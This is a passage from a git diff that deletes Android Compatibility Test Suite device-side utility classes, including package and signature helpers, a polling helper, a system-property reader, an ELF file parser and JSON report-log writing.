- ApplicationInfo.FLAG_SYSTEM | ApplicationInfo.FLAG_UPDATED_SYSTEM_APP;
- private static final char[] HEX_ARRAY = "0123456789ABCDEF".toCharArray();
-
- /** Returns true if a package with the given name exists on the device */
- public static boolean exists(String packageName) {
- try {
- return (getPackageManager().getApplicationInfo(packageName,
- PackageManager.GET_META_DATA) != null);
- } catch(PackageManager.NameNotFoundException e) {
- return false;
- }
- }
-
- /** Returns true if a package with the given name AND SHA digest exists on the device */
- public static boolean exists(String packageName, String sha) {
- try {
- if (getPackageManager().getApplicationInfo(
- packageName, PackageManager.GET_META_DATA) == null) {
- return false;
- }
- return sha.equals(computePackageSignatureDigest(packageName));
- } catch (NoSuchAlgorithmException | PackageManager.NameNotFoundException e) {
- return false;
- }
- }
-
- /** Returns true if the app for the given package name is a system app for this device */
- public static boolean isSystemApp(String packageName) {
- try {
- ApplicationInfo ai = getPackageManager().getApplicationInfo(packageName,
- PackageManager.GET_META_DATA);
- return ai != null && ((ai.flags & SYSTEM_APP_MASK) != 0);
- } catch(PackageManager.NameNotFoundException e) {
- return false;
- }
- }
-
- /** Returns the version string of the package name, or null if the package can't be found */
- public static String getVersionString(String packageName) {
- try {
- PackageInfo info = getPackageManager().getPackageInfo(packageName,
- PackageManager.GET_META_DATA);
- return info.versionName;
- } catch (PackageManager.NameNotFoundException | NullPointerException e) {
- Log.w(TAG, "Could not find version string for package " + packageName);
- return null;
- }
- }
-
- /**
- * Compute the signature SHA digest for a package.
- * @param package the name of the package for which the signature SHA digest is requested
- * @return the signature SHA digest
- */
- public static String computePackageSignatureDigest(String packageName)
- throws NoSuchAlgorithmException, PackageManager.NameNotFoundException {
- PackageInfo packageInfo = getPackageManager()
- .getPackageInfo(packageName, PackageManager.GET_SIGNATURES);
- MessageDigest messageDigest = MessageDigest.getInstance("SHA256");
- messageDigest.update(packageInfo.signatures[0].toByteArray());
-
- final byte[] digest = messageDigest.digest();
- final int digestLength = digest.length;
- final int charCount = 3 * digestLength - 1;
-
- final char[] chars = new char[charCount];
- for (int i = 0; i < digestLength; i++) {
- final int byteHex = digest[i] & 0xFF;
- chars[i * 3] = HEX_ARRAY[byteHex >>> 4];
- chars[i * 3 + 1] = HEX_ARRAY[byteHex & 0x0F];
- if (i < digestLength - 1) {
- chars[i * 3 + 2] = ':';
- }
- }
- return new String(chars);
- }
-
- private static PackageManager getPackageManager() {
- return InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager();
- }
-
- private static boolean hasDeviceFeature(final String requiredFeature) {
- return InstrumentationRegistry.getContext()
- .getPackageManager()
- .hasSystemFeature(requiredFeature);
- }
-
- /**
- * Rotation support is indicated by explicitly having both landscape and portrait
- * features or not listing either at all.
- */
- public static boolean supportsRotation() {
- final boolean supportsLandscape = hasDeviceFeature(PackageManager.FEATURE_SCREEN_LANDSCAPE);
- final boolean supportsPortrait = hasDeviceFeature(PackageManager.FEATURE_SCREEN_PORTRAIT);
- return (supportsLandscape && supportsPortrait)
- || (!supportsLandscape && !supportsPortrait);
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ParcelUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/ParcelUtils.java
deleted file mode 100644
index ecaa722..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/ParcelUtils.java
+++ /dev/null
@@ -1,51 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import static org.junit.Assert.assertNotNull;
-
-import android.os.Parcel;
-import android.os.Parcelable;
-
-public class ParcelUtils {
- private ParcelUtils() {
- }
-
- /** Convert a Parcelable into a byte[]. */
- public static byte[] toBytes(Parcelable p) {
- assertNotNull(p);
-
- final Parcel parcel = Parcel.obtain();
- parcel.writeParcelable(p, 0);
- byte[] data = parcel.marshall();
- parcel.recycle();
-
- return data;
- }
-
- /** Decode a byte[] into a Parcelable. */
- public static <T extends Parcelable> T fromBytes(byte[] data) {
- assertNotNull(data);
-
- final Parcel parcel = Parcel.obtain();
- parcel.unmarshall(data, 0, data.length);
- parcel.setDataPosition(0);
- T ret = parcel.readParcelable(ParcelUtils.class.getClassLoader());
- parcel.recycle();
-
- return ret;
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/PollingCheck.java b/common/device-side/util/src/com/android/compatibility/common/util/PollingCheck.java
deleted file mode 100644
index bcc3530..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/PollingCheck.java
+++ /dev/null
@@ -1,94 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import java.util.concurrent.Callable;
-
-import junit.framework.Assert;
-
-public abstract class PollingCheck {
- private static final long TIME_SLICE = 50;
- private long mTimeout = 3000;
-
- public static interface PollingCheckCondition {
- boolean canProceed();
- }
-
- public PollingCheck() {
- }
-
- public PollingCheck(long timeout) {
- mTimeout = timeout;
- }
-
- protected abstract boolean check();
-
- public void run() {
- if (check()) {
- return;
- }
-
- long timeout = mTimeout;
- while (timeout > 0) {
- try {
- Thread.sleep(TIME_SLICE);
- } catch (InterruptedException e) {
- Assert.fail("unexpected InterruptedException");
- }
-
- if (check()) {
- return;
- }
-
- timeout -= TIME_SLICE;
- }
-
- Assert.fail("unexpected timeout");
- }
-
- public static void check(CharSequence message, long timeout, Callable<Boolean> condition)
- throws Exception {
- while (timeout > 0) {
- if (condition.call()) {
- return;
- }
-
- Thread.sleep(TIME_SLICE);
- timeout -= TIME_SLICE;
- }
-
- Assert.fail(message.toString());
- }
-
- public static void waitFor(final PollingCheckCondition condition) {
- new PollingCheck() {
- @Override
- protected boolean check() {
- return condition.canProceed();
- }
- }.run();
- }
-
- public static void waitFor(long timeout, final PollingCheckCondition condition) {
- new PollingCheck(timeout) {
- @Override
- protected boolean check() {
- return condition.canProceed();
- }
- }.run();
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
deleted file mode 100644
index c95b8df..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
+++ /dev/null
@@ -1,173 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.os.Build;
-import android.support.test.InstrumentationRegistry;
-
-import java.io.IOException;
-import java.util.HashMap;
-import java.util.Map;
-import java.util.Scanner;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-/**
- * Device-side utility class for reading properties and gathering information for testing
- * Android device compatibility.
- */
-public class PropertyUtil {
-
- /**
- * Name of read-only property detailing the first API level for which the product was
- * shipped. Property should be undefined for factory ROM products.
- */
- public static final String FIRST_API_LEVEL = "ro.product.first_api_level";
- private static final String BUILD_TYPE_PROPERTY = "ro.build.type";
- private static final String MANUFACTURER_PROPERTY = "ro.product.manufacturer";
- private static final String TAG_DEV_KEYS = "dev-keys";
- private static final String VNDK_VERSION = "ro.vndk.version";
-
- public static final String GOOGLE_SETTINGS_QUERY =
- "content query --uri content://com.google.settings/partner";
-
- /** Value to be returned by getPropertyInt() if property is not found */
- public static int INT_VALUE_IF_UNSET = -1;
-
- /** Returns whether the device build is a user build */
- public static boolean isUserBuild() {
- return propertyEquals(BUILD_TYPE_PROPERTY, "user");
- }
-
- /** Returns whether this build is built with dev-keys */
- public static boolean isDevKeysBuild() {
- for (String tag : Build.TAGS.split(",")) {
- if (TAG_DEV_KEYS.equals(tag.trim())) {
- return true;
- }
- }
- return false;
- }
-
- /**
- * Return the first API level for this product. If the read-only property is unset,
- * this means the first API level is the current API level, and the current API level
- * is returned.
- */
- public static int getFirstApiLevel() {
- int firstApiLevel = getPropertyInt(FIRST_API_LEVEL);
- return (firstApiLevel == INT_VALUE_IF_UNSET) ? Build.VERSION.SDK_INT : firstApiLevel;
- }
-
- /**
- * Return whether the SDK version of the vendor partiton is newer than the given API level.
- * If the property is set to non-integer value, this means the vendor partition is using
- * current API level and true is returned.
- */
- public static boolean isVendorApiLevelNewerThan(int apiLevel) {
- int vendorApiLevel = getPropertyInt(VNDK_VERSION);
- if (vendorApiLevel == INT_VALUE_IF_UNSET) {
- return true;
- }
- return vendorApiLevel > apiLevel;
- }
-
- /**
- * Return the manufacturer of this product. If unset, return null.
- */
- public static String getManufacturer() {
- return getProperty(MANUFACTURER_PROPERTY);
- }
-
- /** Returns a mapping from client ID names to client ID values */
- public static Map<String, String> getClientIds() throws IOException {
- Map<String,String> clientIds = new HashMap<>();
- String queryOutput = SystemUtil.runShellCommand(
- InstrumentationRegistry.getInstrumentation(), GOOGLE_SETTINGS_QUERY);
- for (String line : queryOutput.split("[\\r?\\n]+")) {
- // Expected line format: "Row: 1 _id=123, name=<property_name>, value=<property_value>"
- Pattern pattern = Pattern.compile("name=([a-z_]*), value=(.*)$");
- Matcher matcher = pattern.matcher(line);
- if (matcher.find()) {
- String name = matcher.group(1);
- String value = matcher.group(2);
- if (name.contains("client_id")) {
- clientIds.put(name, value); // only add name-value pair for client ids
- }
- }
- }
- return clientIds;
- }
-
- /** Returns whether the property exists on this device */
- public static boolean propertyExists(String property) {
- return getProperty(property) != null;
- }
-
- /** Returns whether the property value is equal to a given string */
- public static boolean propertyEquals(String property, String value) {
- if (value == null) {
- return !propertyExists(property); // null value implies property does not exist
- }
- return value.equals(getProperty(property));
- }
-
- /**
- * Returns whether the property value matches a given regular expression. The method uses
- * String.matches(), requiring a complete match (i.e. expression matches entire value string)
- */
- public static boolean propertyMatches(String property, String regex) {
- if (regex == null || regex.isEmpty()) {
- // null or empty pattern implies property does not exist
- return !propertyExists(property);
- }
- String value = getProperty(property);
- return (value == null) ? false : value.matches(regex);
- }
-
- /**
- * Retrieves the desired integer property, returning INT_VALUE_IF_UNSET if not found.
- */
- public static int getPropertyInt(String property) {
- String value = getProperty(property);
- if (value == null) {
- return INT_VALUE_IF_UNSET;
- }
- try {
- return Integer.parseInt(value);
- } catch (NumberFormatException e) {
- return INT_VALUE_IF_UNSET;
- }
- }
-
- /** Retrieves the desired property value in string form */
- public static String getProperty(String property) {
- Scanner scanner = null;
- try {
- Process process = new ProcessBuilder("getprop", property).start();
- scanner = new Scanner(process.getInputStream());
- String value = scanner.nextLine().trim();
- return (value.isEmpty()) ? null : value;
- } catch (IOException e) {
- return null;
- } finally {
- if (scanner != null) {
- scanner.close();
- }
- }
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ReadElf.java b/common/device-side/util/src/com/android/compatibility/common/util/ReadElf.java
deleted file mode 100644
index feaa9cd..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/ReadElf.java
+++ /dev/null
@@ -1,494 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import java.io.File;
-import java.io.IOException;
-import java.io.RandomAccessFile;
-import java.util.HashMap;
-import java.util.Map;
-
-/**
- * A poor man's implementation of the readelf command. This program is designed
- * to parse ELF (Executable and Linkable Format) files.
- */
-public class ReadElf implements AutoCloseable {
- /** The magic values for the ELF identification. */
- private static final byte[] ELFMAG = {
- (byte) 0x7F, (byte) 'E', (byte) 'L', (byte) 'F', };
-
- private static final int EI_NIDENT = 16;
-
- private static final int EI_CLASS = 4;
- private static final int EI_DATA = 5;
-
- private static final int EM_386 = 3;
- private static final int EM_MIPS = 8;
- private static final int EM_ARM = 40;
- private static final int EM_X86_64 = 62;
- // http://en.wikipedia.org/wiki/Qualcomm_Hexagon
- private static final int EM_QDSP6 = 164;
- private static final int EM_AARCH64 = 183;
-
- private static final int ELFCLASS32 = 1;
- private static final int ELFCLASS64 = 2;
-
- private static final int ELFDATA2LSB = 1;
- private static final int ELFDATA2MSB = 2;
-
- private static final int EV_CURRENT = 1;
-
- private static final long PT_LOAD = 1;
-
- private static final int SHT_SYMTAB = 2;
- private static final int SHT_STRTAB = 3;
- private static final int SHT_DYNAMIC = 6;
- private static final int SHT_DYNSYM = 11;
-
- public static class Symbol {
- public static final int STB_LOCAL = 0;
- public static final int STB_GLOBAL = 1;
- public static final int STB_WEAK = 2;
- public static final int STB_LOPROC = 13;
- public static final int STB_HIPROC = 15;
-
- public static final int STT_NOTYPE = 0;
- public static final int STT_OBJECT = 1;
- public static final int STT_FUNC = 2;
- public static final int STT_SECTION = 3;
- public static final int STT_FILE = 4;
- public static final int STT_COMMON = 5;
- public static final int STT_TLS = 6;
-
- public final String name;
- public final int bind;
- public final int type;
-
- Symbol(String name, int st_info) {
- this.name = name;
- this.bind = (st_info >> 4) & 0x0F;
- this.type = st_info & 0x0F;
- }
-
- @Override
- public String toString() {
- return "Symbol[" + name + "," + toBind() + "," + toType() + "]";
- }
-
- private String toBind() {
- switch (bind) {
- case STB_LOCAL:
- return "LOCAL";
- case STB_GLOBAL:
- return "GLOBAL";
- case STB_WEAK:
- return "WEAK";
- }
- return "STB_??? (" + bind + ")";
- }
-
- private String toType() {
- switch (type) {
- case STT_NOTYPE:
- return "NOTYPE";
- case STT_OBJECT:
- return "OBJECT";
- case STT_FUNC:
- return "FUNC";
- case STT_SECTION:
- return "SECTION";
- case STT_FILE:
- return "FILE";
- case STT_COMMON:
- return "COMMON";
- case STT_TLS:
- return "TLS";
- }
- return "STT_??? (" + type + ")";
- }
- }
-
- private final String mPath;
- private final RandomAccessFile mFile;
- private final byte[] mBuffer = new byte[512];
- private int mEndian;
- private boolean mIsDynamic;
- private boolean mIsPIE;
- private int mType;
- private int mAddrSize;
-
- /** Symbol Table offset */
- private long mSymTabOffset;
-
- /** Symbol Table size */
- private long mSymTabSize;
-
- /** Dynamic Symbol Table offset */
- private long mDynSymOffset;
-
- /** Dynamic Symbol Table size */
- private long mDynSymSize;
-
- /** Section Header String Table offset */
- private long mShStrTabOffset;
-
- /** Section Header String Table size */
- private long mShStrTabSize;
-
- /** String Table offset */
- private long mStrTabOffset;
-
- /** String Table size */
- private long mStrTabSize;
-
- /** Dynamic String Table offset */
- private long mDynStrOffset;
-
- /** Dynamic String Table size */
- private long mDynStrSize;
-
- /** Symbol Table symbol names */
- private Map<String, Symbol> mSymbols;
-
- /** Dynamic Symbol Table symbol names */
- private Map<String, Symbol> mDynamicSymbols;
-
- public static ReadElf read(File file) throws IOException {
- return new ReadElf(file);
- }
-
- public static void main(String[] args) throws IOException {
- for (String arg : args) {
- ReadElf re = new ReadElf(new File(arg));
- re.getSymbol("x");
- re.getDynamicSymbol("x");
- re.close();
- }
- }
-
- public boolean isDynamic() {
- return mIsDynamic;
- }
-
- public int getType() {
- return mType;
- }
-
- public boolean isPIE() {
- return mIsPIE;
- }
-
- private ReadElf(File file) throws IOException {
- mPath = file.getPath();
- mFile = new RandomAccessFile(file, "r");
-
- if (mFile.length() < EI_NIDENT) {
- throw new IllegalArgumentException("Too small to be an ELF file: " + file);
- }
-
- readHeader();
- }
-
- @Override
- public void close() {
- try {
- mFile.close();
- } catch (IOException ignored) {
- }
- }
-
- @Override
- protected void finalize() throws Throwable {
- try {
- close();
- } finally {
- super.finalize();
- }
- }
-
- private void readHeader() throws IOException {
- mFile.seek(0);
- mFile.readFully(mBuffer, 0, EI_NIDENT);
-
- if (mBuffer[0] != ELFMAG[0] || mBuffer[1] != ELFMAG[1] ||
- mBuffer[2] != ELFMAG[2] || mBuffer[3] != ELFMAG[3]) {
- throw new IllegalArgumentException("Invalid ELF file: " + mPath);
- }
-
- int elfClass = mBuffer[EI_CLASS];
- if (elfClass == ELFCLASS32) {
- mAddrSize = 4;
- } else if (elfClass == ELFCLASS64) {
- mAddrSize = 8;
- } else {
- throw new IOException("Invalid ELF EI_CLASS: " + elfClass + ": " + mPath);
- }
-
- mEndian = mBuffer[EI_DATA];
- if (mEndian == ELFDATA2LSB) {
- } else if (mEndian == ELFDATA2MSB) {
- throw new IOException("Unsupported ELFDATA2MSB file: " + mPath);
- } else {
- throw new IOException("Invalid ELF EI_DATA: " + mEndian + ": " + mPath);
- }
-
- mType = readHalf();
-
- int e_machine = readHalf();
- if (e_machine != EM_386 && e_machine != EM_X86_64 &&
- e_machine != EM_AARCH64 && e_machine != EM_ARM &&
- e_machine != EM_MIPS &&
- e_machine != EM_QDSP6) {
- throw new IOException("Invalid ELF e_machine: " + e_machine + ": " + mPath);
- }
-
- // AbiTest relies on us rejecting any unsupported combinations.
- if ((e_machine == EM_386 && elfClass != ELFCLASS32) ||
- (e_machine == EM_X86_64 && elfClass != ELFCLASS64) ||
- (e_machine == EM_AARCH64 && elfClass != ELFCLASS64) ||
- (e_machine == EM_ARM && elfClass != ELFCLASS32) ||
- (e_machine == EM_QDSP6 && elfClass != ELFCLASS32)) {
- throw new IOException("Invalid e_machine/EI_CLASS ELF combination: " +
- e_machine + "/" + elfClass + ": " + mPath);
- }
-
- long e_version = readWord();
- if (e_version != EV_CURRENT) {
- throw new IOException("Invalid e_version: " + e_version + ": " + mPath);
- }
-
- long e_entry = readAddr();
-
- long ph_off = readOff();
- long sh_off = readOff();
-
- long e_flags = readWord();
- int e_ehsize = readHalf();
- int e_phentsize = readHalf();
- int e_phnum = readHalf();
- int e_shentsize = readHalf();
- int e_shnum = readHalf();
- int e_shstrndx = readHalf();
-
- readSectionHeaders(sh_off, e_shnum, e_shentsize, e_shstrndx);
- readProgramHeaders(ph_off, e_phnum, e_phentsize);
- }
-
- private void readSectionHeaders(long sh_off, int e_shnum, int e_shentsize, int e_shstrndx)
- throws IOException {
- // Read the Section Header String Table offset first.
- {
- mFile.seek(sh_off + e_shstrndx * e_shentsize);
-
- long sh_name = readWord();
- long sh_type = readWord();
- long sh_flags = readX(mAddrSize);
- long sh_addr = readAddr();
- long sh_offset = readOff();
- long sh_size = readX(mAddrSize);
- // ...
-
- if (sh_type == SHT_STRTAB) {
- mShStrTabOffset = sh_offset;
- mShStrTabSize = sh_size;
- }
- }
-
- for (int i = 0; i < e_shnum; ++i) {
- // Don't bother to re-read the Section Header StrTab.
- if (i == e_shstrndx) {
- continue;
- }
-
- mFile.seek(sh_off + i * e_shentsize);
-
- long sh_name = readWord();
- long sh_type = readWord();
- long sh_flags = readX(mAddrSize);
- long sh_addr = readAddr();
- long sh_offset = readOff();
- long sh_size = readX(mAddrSize);
-
- if (sh_type == SHT_SYMTAB || sh_type == SHT_DYNSYM) {
- final String symTabName = readShStrTabEntry(sh_name);
- if (".symtab".equals(symTabName)) {
- mSymTabOffset = sh_offset;
- mSymTabSize = sh_size;
- } else if (".dynsym".equals(symTabName)) {
- mDynSymOffset = sh_offset;
- mDynSymSize = sh_size;
- }
- } else if (sh_type == SHT_STRTAB) {
- final String strTabName = readShStrTabEntry(sh_name);
- if (".strtab".equals(strTabName)) {
- mStrTabOffset = sh_offset;
- mStrTabSize = sh_size;
- } else if (".dynstr".equals(strTabName)) {
- mDynStrOffset = sh_offset;
- mDynStrSize = sh_size;
- }
- } else if (sh_type == SHT_DYNAMIC) {
- mIsDynamic = true;
- }
- }
- }
-
- private void readProgramHeaders(long ph_off, int e_phnum, int e_phentsize) throws IOException {
- for (int i = 0; i < e_phnum; ++i) {
- mFile.seek(ph_off + i * e_phentsize);
-
- long p_type = readWord();
- if (p_type == PT_LOAD) {
- if (mAddrSize == 8) {
- // Only in Elf64_phdr; in Elf32_phdr p_flags is at the end.
- long p_flags = readWord();
- }
- long p_offset = readOff();
- long p_vaddr = readAddr();
- // ...
-
- if (p_vaddr == 0) {
- mIsPIE = true;
- }
- }
- }
- }
-
- private HashMap<String, Symbol> readSymbolTable(long symStrOffset, long symStrSize,
- long tableOffset, long tableSize) throws IOException {
- HashMap<String, Symbol> result = new HashMap<String, Symbol>();
- mFile.seek(tableOffset);
- while (mFile.getFilePointer() < tableOffset + tableSize) {
- long st_name = readWord();
- int st_info;
- if (mAddrSize == 8) {
- st_info = readByte();
- int st_other = readByte();
- int st_shndx = readHalf();
- long st_value = readAddr();
- long st_size = readX(mAddrSize);
- } else {
- long st_value = readAddr();
- long st_size = readWord();
- st_info = readByte();
- int st_other = readByte();
- int st_shndx = readHalf();
- }
- if (st_name == 0) {
- continue;
- }
-
- final String symName = readStrTabEntry(symStrOffset, symStrSize, st_name);
- if (symName != null) {
- Symbol s = new Symbol(symName, st_info);
- result.put(symName, s);
- }
- }
- return result;
- }
-
- private String readShStrTabEntry(long strOffset) throws IOException {
- if (mShStrTabOffset == 0 || strOffset < 0 || strOffset >= mShStrTabSize) {
- return null;
- }
- return readString(mShStrTabOffset + strOffset);
- }
-
- private String readStrTabEntry(long tableOffset, long tableSize, long strOffset)
- throws IOException {
- if (tableOffset == 0 || strOffset < 0 || strOffset >= tableSize) {
- return null;
- }
- return readString(tableOffset + strOffset);
- }
-
- private int readHalf() throws IOException {
- return (int) readX(2);
- }
-
- private long readWord() throws IOException {
- return readX(4);
- }
-
- private long readOff() throws IOException {
- return readX(mAddrSize);
- }
-
- private long readAddr() throws IOException {
- return readX(mAddrSize);
- }
-
- private long readX(int byteCount) throws IOException {
- mFile.readFully(mBuffer, 0, byteCount);
-
- int answer = 0;
- if (mEndian == ELFDATA2LSB) {
- for (int i = byteCount - 1; i >= 0; i--) {
- answer = (answer << 8) | (mBuffer[i] & 0xff);
- }
- } else {
- final int N = byteCount - 1;
- for (int i = 0; i <= N; ++i) {
- answer = (answer << 8) | (mBuffer[i] & 0xff);
- }
- }
-
- return answer;
- }
-
- private String readString(long offset) throws IOException {
- long originalOffset = mFile.getFilePointer();
- mFile.seek(offset);
- mFile.readFully(mBuffer, 0, (int) Math.min(mBuffer.length, mFile.length() - offset));
- mFile.seek(originalOffset);
-
- for (int i = 0; i < mBuffer.length; ++i) {
- if (mBuffer[i] == 0) {
- return new String(mBuffer, 0, i);
- }
- }
-
- return null;
- }
-
- private int readByte() throws IOException {
- return mFile.read() & 0xff;
- }
-
- public Symbol getSymbol(String name) {
- if (mSymbols == null) {
- try {
- mSymbols = readSymbolTable(mStrTabOffset, mStrTabSize, mSymTabOffset, mSymTabSize);
- } catch (IOException e) {
- return null;
- }
- }
- return mSymbols.get(name);
- }
-
- public Symbol getDynamicSymbol(String name) {
- if (mDynamicSymbols == null) {
- try {
- mDynamicSymbols = readSymbolTable(
- mDynStrOffset, mDynStrSize, mDynSymOffset, mDynSymSize);
- } catch (IOException e) {
- return null;
- }
- }
- return mDynamicSymbols.get(name);
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ReportLogDeviceInfoStore.java b/common/device-side/util/src/com/android/compatibility/common/util/ReportLogDeviceInfoStore.java
deleted file mode 100644
index 538881d..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/ReportLogDeviceInfoStore.java
+++ /dev/null
@@ -1,96 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.util.JsonWriter;
-
-import java.io.BufferedReader;
-import java.io.BufferedWriter;
-import java.io.File;
-import java.io.FileReader;
-import java.io.FileWriter;
-import java.io.IOException;
-
-public class ReportLogDeviceInfoStore extends DeviceInfoStore {
-
- private final String mStreamName;
- private File tempJsonFile;
-
- public ReportLogDeviceInfoStore(File jsonFile, String streamName) throws Exception {
- mJsonFile = jsonFile;
- mStreamName = streamName;
- }
-
- /**
- * Creates the writer and starts the JSON Object for the metric stream.
- */
- @Override
- public void open() throws IOException {
- // Write new metrics to a temp file to avoid invalid JSON files due to failed tests.
- BufferedWriter formatWriter;
- tempJsonFile = File.createTempFile(mStreamName, "-temp-report-log");
- formatWriter = new BufferedWriter(new FileWriter(tempJsonFile));
- if (mJsonFile.exists()) {
- BufferedReader jsonReader = new BufferedReader(new FileReader(mJsonFile));
- String currentLine;
- String nextLine = jsonReader.readLine();
- while ((currentLine = nextLine) != null) {
- nextLine = jsonReader.readLine();
- if (nextLine == null && currentLine.charAt(currentLine.length() - 1) == '}') {
- // Reopen overall JSON object to write new metrics.
- currentLine = currentLine.substring(0, currentLine.length() - 1) + ",";
- }
- // Copy to temp file directly to avoid large metrics string in memory.
- formatWriter.write(currentLine, 0, currentLine.length());
- }
- jsonReader.close();
- } else {
- formatWriter.write("{", 0 , 1);
- }
- // Start new JSON object for new metrics.
- formatWriter.write("\"" + mStreamName + "\":", 0, mStreamName.length() + 3);
- formatWriter.flush();
- formatWriter.close();
- mJsonWriter = new JsonWriter(new FileWriter(tempJsonFile, true));
- mJsonWriter.beginObject();
- }
-
- /**
- * Closes the writer.
- */
- @Override
- public void close() throws IOException {
- // Close JSON Writer.
- mJsonWriter.endObject();
- mJsonWriter.close();
- // Close overall JSON Object.
- try (BufferedWriter formatWriter = new BufferedWriter(new FileWriter(tempJsonFile, true))) {
- formatWriter.write("}", 0, 1);
- }
- // Copy metrics from temp file and delete temp file.
- mJsonFile.createNewFile();
- try (
- BufferedReader jsonReader = new BufferedReader(new FileReader(tempJsonFile));
- BufferedWriter metricsWriter = new BufferedWriter(new FileWriter(mJsonFile))
- ) {
- String line;
- while ((line = jsonReader.readLine()) != null) {
- // Copy from temp file directly to avoid large metrics string in memory.
- metricsWriter.write(line, 0, line.length());
- }
- }
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/RequiredFeatureRule.java b/common/device-side/util/src/com/android/compatibility/common/util/RequiredFeatureRule.java
deleted file mode 100644
index 0968ddc..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/RequiredFeatureRule.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.support.test.InstrumentationRegistry;
-import android.util.Log;
-
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-/**
- * Custom JUnit4 rule that does not run a test case if the device does not have a given feature.
- */
-public class RequiredFeatureRule implements TestRule {
- private static final String TAG = "RequiredFeatureRule";
-
- private final String mFeature;
- private final boolean mHasFeature;
-
- public RequiredFeatureRule(String feature) {
- mFeature = feature;
- mHasFeature = hasFeature(feature);
- }
-
- @Override
- public Statement apply(Statement base, Description description) {
- return new Statement() {
-
- @Override
- public void evaluate() throws Throwable {
- if (!mHasFeature) {
- Log.d(TAG, "skipping "
- + description.getClassName() + "#" + description.getMethodName()
- + " because device does not have feature '" + mFeature + "'");
- return;
- }
- base.evaluate();
- }
- };
- }
-
- public static boolean hasFeature(String feature) {
- return InstrumentationRegistry.getContext().getPackageManager().hasSystemFeature(feature);
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/RequiredServiceRule.java b/common/device-side/util/src/com/android/compatibility/common/util/RequiredServiceRule.java
deleted file mode 100644
index a4359fd..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/RequiredServiceRule.java
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
